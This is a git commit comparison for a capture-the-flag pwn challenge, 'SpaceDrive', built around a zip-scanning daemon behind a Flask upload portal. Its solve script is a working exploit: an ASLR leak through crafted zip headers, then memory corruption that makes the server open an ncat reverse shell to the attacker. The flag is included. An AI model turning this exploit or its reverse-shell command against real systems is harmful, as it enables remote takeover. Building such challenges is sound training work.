Compare commits

..

10 commits

Author SHA1 Message Date
atxr
3de61a11fc Add challenge description 2024-03-05 12:11:45 +01:00
atxr
f9d73bfb68 Add more generic params 2024-03-05 11:57:05 +01:00
atxr
2fa66f3860 Start mineziperd from app 2024-03-05 11:27:36 +01:00
atxr
1aa0573482 Improve webapp style 2024-03-01 12:47:17 +01:00
atxr
a5899768f7 Update dockerfile 2024-03-01 12:46:58 +01:00
atxr
4c2d51b4c6 Add full solve 2024-03-01 11:21:22 +01:00
atxr
11c94b739d Add missing import 2024-03-01 11:21:01 +01:00
atxr
bed22b2bf5 Add build script 2024-03-01 11:18:37 +01:00
atxr
00bf8c4349 Add requirements.txt 2024-03-01 11:18:31 +01:00
atxr
81b8cd5c94 Refactor project 2024-03-01 10:45:54 +01:00
34 changed files with 416 additions and 122 deletions

20
Dockerfile Normal file
View file

@ -0,0 +1,20 @@
FROM ubuntu:22.04
RUN apt update && apt install python3-pip ncat -y
RUN useradd -m -s /bin/bash user
USER user
WORKDIR /home/user
COPY dist/mineziperd .
COPY src/webapp webapp
COPY flag.txt .
WORKDIR /home/user/webapp
RUN pip install -r requirements.txt
EXPOSE 5000
ENV FLASK_APP=app.py
CMD ["python3", "-m", "flask", "run", "--host", "0.0.0.0"]

View file

@ -1,4 +1,26 @@
# mineziper 💣
### A Minesweeper for zip files!
# SpaceDrive
## Deploy chall
```bash
sudo docker build -t chall .
sudo docker run --rm -p 5000:5000 -it chall
```
## :triangular_flag_on_post: Challenge Informations
| **Title** | Notebook |
| ------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Category** | pwn |
| **Description** | To upload the firmware updates to our satellites, we deplopped SpaceDrive, a safe file uploader across the stars. Because we experienced many issues with malicious ZipFiles in the past, our security team also developped a zip scanner to detected embeded malware. Will you be able to break it to take control of the satellite? |
| **Author** | atxr |
| **Difficulty (/10)** | 8 |
| **Is Remote** | Yes |
| **Has attachments** | Yes |
| **Estimated solve time** | ~2h |
| **Solve instructions** | First modify the victim/attacker ip in `solve/solve.py`. Then `cd solve && python3 solve.py` and follow the instructions |
| **Flag** | **`THCon{WH3N_y0U_4N7iVIrus_IS_4C7U4LLY_4_84cKd00R}`** |
| **Deploy** | `sudo docker build -t spacedrive . && sudo docker run --rm -p 5000:5000 -it spacedrive` |
Detect zip bombs based on overlapping files.

13
build.sh Normal file
View file

@ -0,0 +1,13 @@
echo "Building project and update sources in dist/"
cd src/mineziper/
mkdir build
cd build
cmake .. && make
cp bin/mineziperd ../../../dist
cd ..
rm -rf build
cd ../..
echo "Adding source backup to dist/"
zip -r dist/src.zip src

BIN
dist/mineziperd vendored Executable file

Binary file not shown.

1
flag.txt Normal file
View file

@ -0,0 +1 @@
THCon{WH3N_y0U_4N7iVIrus_IS_4C7U4LLY_4_84cKd00R}

135
solve/solve.py Normal file
View file

@ -0,0 +1,135 @@
import requests
import struct
import zipfile
##############
# PARAMETERS #
##############
# Victim params
ip = "X.X.X.X"
port = 5000
url = f"http://{ip}:{port}/upload"
# Reverse shell params
my_ip = "X.X.X.X"
my_port = 9001
#############
# LEAK ASLR #
#############
guess = 0
leak = b""
size_chunk = 0x20
off_data = size_chunk * 2
stored_block_lfh = b'PK\x03\x04\n\x00\x00\x00\x00\x00\xd2\xbb[X\xday\xa1\xa7\x04\x00\x00\x00\x04\x00\x00\x00\x05\x00\x1c\x00dummyUT\t\x00\x03\x8cb\xdee\x8cb\xdeeux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x009\t\xb4\x13'
stored_block_cd = b'PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00\xd2\xbb[X\xday\xa1\xa7\x04\x00\x00\x00\x04\x00\x00\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa4\x81\x00\x00\x00\x00dummyUT\x05\x00\x03\x8cb\xdeeux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00'
cd = b"PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00C\x8a[X\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00%b\x18\x00%b\x00\x00\x00\x00\x00\x00\xa4\x81%blinpeas.shUT\x05\x00\x03>\x0b\xdeeux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00"
eocd = b"PK\x05\x06\x00\x00\x00\x00\x80\x00%b%b%b\x00\x00"
lencd = len(cd % (b"00", b"00", b"0000"))
leneocd = len(eocd % (b"00", b'0000', b'0000'))
totsize = len(stored_block_lfh)
totsize += len(stored_block_cd)
totsize += lencd
totsize += leneocd
totsize += 8 # metadata of heap chunk
while totsize & 0xf != 0:
totsize += 1
off_data += totsize # offset to the beg of "data"
off_data -= 0x18 # ajust to the beg of data.filename
print(f"{hex(size_chunk)=}\n{hex(off_data)=}")
for _ in range(8):
off_data += 1
for guess in range(0x100):
# Add a classical stored block to put the free address on the heap
zip = stored_block_lfh
zip += stored_block_cd
# generate payload for the size and inject malicious cdh
payload = (guess << 8)
if len(leak):
payload += leak[0]
comp = (0x1000a - payload) % 0x10000
zip += cd % (struct.pack("H", payload), struct.pack("H", comp), struct.pack("I", off_data))
# Add EOCD
zip += eocd % (
struct.pack("H", 2),
struct.pack("I", lencd + len(stored_block_cd)),
struct.pack("I", len(stored_block_lfh))
)
x = requests.post(url, files={'file': zip})
if "Error" not in x.text:
print("Found correct guess:", hex(guess))
leak = guess.to_bytes(1, "big") + leak
print(leak)
leak_i = 0
for i in range(8):
leak_i += leak[7-i] << (i*8)
print(hex(leak_i))
#######################
# Craft malicious zip #
#######################
l = 96
offset = -0x54670
free = leak_i
system = struct.pack("Q", free + offset)
command = b"ncat %b %b -e /bin/bash\x00" % (my_ip.encode(), str(my_port).encode())
payload = command + b"a" * (l - len(command)) + b"\x00"*4 + system
with zipfile.ZipFile("payload.zip", "w", zipfile.ZIP_DEFLATED) as zipf:
with zipf.open("payload.txt", "w") as f:
f.write(payload)
f.close()
for i in range(1, 8):
with zipf.open(f"dummy{str(i)}.txt", "w") as f:
f.write(b"dummy")
f.close()
zipf.close()
zip = b""
with open("payload.zip", "rb") as zipf:
zip = zipf.read()
zipf.close()
off = zip.find(bytes([len(payload)]))
print("Offset of payload size: " + hex(off))
zip = zip[:off] + b"\x24" + zip[off+1:]
with open("payload.zip", "wb") as zipf:
zipf.write(zip)
zipf.close()
print("payload.zip patched")
print("You can start listening on port ", str(my_port))
print("Once you get the shell, `cat ~/flag.txt`")
input("Press any key when you are ready...")
print("Sending payload...")
x = requests.post(url, files={'file': zip})
print(x.text)

4
src/mineziper/README.md Normal file
View file

@ -0,0 +1,4 @@
# mineziper 💣
### A Minesweeper for zip files!
Detect zip bombs based on overlapping files.

View file

@ -1,6 +1,7 @@
#include "libmineziper_bitstream.h"
#include <assert.h>
#include <stdio.h>
unsigned int get_bits(bitstream* bs, unsigned int bit_num)
{

View file

@ -3,6 +3,8 @@ import socket
from struct import pack, unpack
import hashlib
import sys
import time
import os
PORT = 8989
@ -17,18 +19,28 @@ def index():
@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return 'No file part'
return render_template('upload_status.html', message='No file part', success=False)
file = request.files['file']
if file.filename == '':
return 'No selected file'
return render_template('upload_status.html', message='No selected file', success=False)
buf = file.read()
hash = hashlib.sha256(buf).digest()
# Scan file
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
s.connect(("localhost", PORT))
break
except:
print("Restarting mineziper service", file=sys.stdout)
os.system("pkill mineziperd")
os.system("~/mineziperd &")
time.sleep(5)
s.send(pack("I", len(buf)))
s.send(buf)
@ -44,16 +56,19 @@ def upload():
elif (status == 1):
message = "Error: Potential virus found, cannot upload."
success = False
else:
message = 'File successfully uploaded'
files.append({'filename': file.filename, 'content':buf})
success = True
except:
message = 'Error: Failed to scan file'
success = False
s.close()
return message
return render_template('upload_status.html', message=message, success=success)
if __name__ == '__main__':
app.run(debug=True)

View file

@ -0,0 +1,7 @@
blinker==1.7.0
click==8.1.7
Flask==3.0.2
itsdangerous==2.1.2
Jinja2==3.1.3
MarkupSafe==2.1.5
Werkzeug==3.0.1

View file

Before

Width:  |  Height:  |  Size: 1.7 MiB

After

Width:  |  Height:  |  Size: 1.7 MiB

Before After
Before After

View file

@ -0,0 +1,135 @@
body {
font-family: 'Roboto', sans-serif;
background-color: #0a0a23;
color: #ffffff;
margin: 0;
padding: 0;
background-image: url('space.jpg');
background-size: cover;
}
.container {
max-width: 500px;
margin: 50px auto;
padding: 20px;
background-color: #1a1a33;
border-radius: 10px;
box-shadow: 0px 0px 20px rgba(255, 255, 255, 0.1);
}
h1 {
text-align: center;
margin-bottom: 30px;
}
form {
text-align: center;
}
/* Hide the default file input button */
input[type="file"] {
display: none;
}
/* Style the custom file input button */
.custom-file-upload {
border: 2px solid #00BFFF;
border-radius: 5px;
padding: 10px 20px;
background-color: transparent;
color: #00BFFF;
font-size: 16px;
cursor: pointer;
transition: background-color 0.3s, border-color 0.3s, color 0.3s;
margin-right: 10px;
}
.custom-file-upload:hover {
background-color: #00BFFF;
/* Light blue background on hover */
color: #FFFFFF;
/* White text color on hover */
}
.custom-file-upload:focus {
outline: none;
/* Remove default focus outline */
border-color: #1E90FF;
/* Darker blue border color on focus */
}
input[type="submit"] {
border: 2px solid #00BFFF;
border-radius: 5px;
padding: 10px 20px;
background-color: #00ccff;
color: #ffffff;
cursor: pointer;
font-size: 16px;
transition: background-color 0.3s;
margin-left: 10px;
}
input[type="submit"]:hover {
background-color: #0099cc;
}
.message {
text-align: center;
margin-top: 20px;
padding: 10px;
background-color: #2d2d2d;
color: #ffffff;
border: 1px solid #ffffff;
border-radius: 5px;
}
.note {
font-size: 16px;
color: #FFFFFF;
/* White color for visibility */
margin-top: 20px;
text-align: center;
font-style: italic;
border: 2px solid #FFFFFF;
/* White border */
padding: 10px;
border-radius: 5px;
background-color: rgba(0, 0, 0, 0.5);
/* Semi-transparent black background */
box-shadow: 0px 0px 10px rgba(255, 255, 255, 0.2);
/* Add shadow for depth */
}
.success {
background-color: #c9e6c9;
color: #008000;
border: 1px solid #4caf50;
}
.error {
background-color: #f8d7da;
color: #721c24;
border: 1px solid #f5c6cb;
}
/* CSS for "go back to home page" link */
.back-link {
display: inline-block;
margin-top: 20px;
text-decoration: none;
padding: 10px 20px;
background-color: #007bff;
/* Blue background color */
color: #fff;
/* White text color */
border-radius: 5px;
transition: background-color 0.3s, color 0.3s;
}
.back-link:hover {
background-color: #0056b3;
/* Darker blue background color on hover */
color: #fff;
/* White text color on hover */
}

View file

@ -0,0 +1,37 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Satellite File Upload</title>
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
<div class="container">
<h1>SpaceDrive 🛰️</h1>
<p>Welcome to the SpaceDrive portal. This service allows you to securely upload files to our satellite
systems orbiting Earth.</p>
<p>Using this portal, you can securely transmit files to our satellites from anywhere on Earth. 🌏</p>
<p class="note">Note: Submitted files will be scanned to detect malicious patterns. Our team has developed a
specific tool to scan zip files.</p>
<form action="/upload" method="post" enctype="multipart/form-data">
<label class="custom-file-upload">
<input type="file" name="file">
Choose a file
</label>
<input type="submit" value="Upload">
</form>
<div class="message" id="message">
🚀🚀🚀
</div>
</body>
</html>

View file

@ -0,0 +1,17 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Upload Status</title>
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
<div class="container">
<div class="message {% if success %}success{% else %}error{% endif %}">
{{ message }}
</div>
<a href="/" class="back-link">Go back to upload page</a>
</div>
</body>
</html>

View file

@ -1,78 +0,0 @@
body {
font-family: 'Roboto', sans-serif;
background-color: #0a0a23;
color: #ffffff;
margin: 0;
padding: 0;
background-image: url('space.jpg');
background-size: cover;
}
.container {
max-width: 500px;
margin: 50px auto;
padding: 20px;
background-color: #1a1a33;
border-radius: 10px;
box-shadow: 0px 0px 20px rgba(255, 255, 255, 0.1);
}
h1 {
text-align: center;
margin-bottom: 30px;
}
form {
text-align: center;
}
input[type="file"] {
margin-bottom: 20px; /* Adjust margin-bottom to create space below the input */
margin-top: 20px; /* Add margin-top to create space above the input */
padding: 10px;
border: 2px solid #ddd;
border-radius: 5px;
width: 80%;
display: block;
margin: 0 auto;
background-color: #1a1a33;
color: #ffffff;
}
input[type="file"]::placeholder {
color: #ffffff;
}
input[type="submit"] {
background-color: #00ccff;
color: #ffffff;
padding: 10px 20px;
border: none;
border-radius: 5px;
cursor: pointer;
font-size: 16px;
transition: background-color 0.3s;
}
input[type="submit"]:hover {
background-color: #0099cc;
}
.message {
text-align: center;
margin-top: 20px;
padding: 10px;
background-color: #2d2d2d;
color: #ffffff;
border: 1px solid #ffffff;
border-radius: 5px;
}
.note {
font-size: 14px;
color: #666;
margin-top: 10px;
text-align: center;
font-style: italic;
}

View file

@ -1,35 +0,0 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Satellite File Upload</title>
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
<div class="container">
<h1>Satellite File Upload</h1>
<p>Welcome to the Satellite File Upload portal. This portal allows you to securely upload files to our satellite
systems orbiting Earth.</p>
<p>Our satellites are equipped with advanced sensors and instruments that collect various types of data,
including weather patterns, environmental changes, and astronomical observations. To ensure the smooth
operation of these satellites, it's essential to regularly upload firmware updates, configuration files, and
scientific data.</p>
<p>Using this portal, you can securely transmit files to our satellites from anywhere on Earth. Once uploaded,
our satellite communication systems will process and integrate the data seamlessly into our satellite
networks.</p>
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="file" placeholder="Choose file">
<input type="submit" value="Upload">
<p class="note">Note: Submitted files will be scanned to detect malicious patterns. Our team has developed a
specific tool to scan zip files.</p>
</form>
<div class="message" id="message"></div>
</div>
</body>
</html>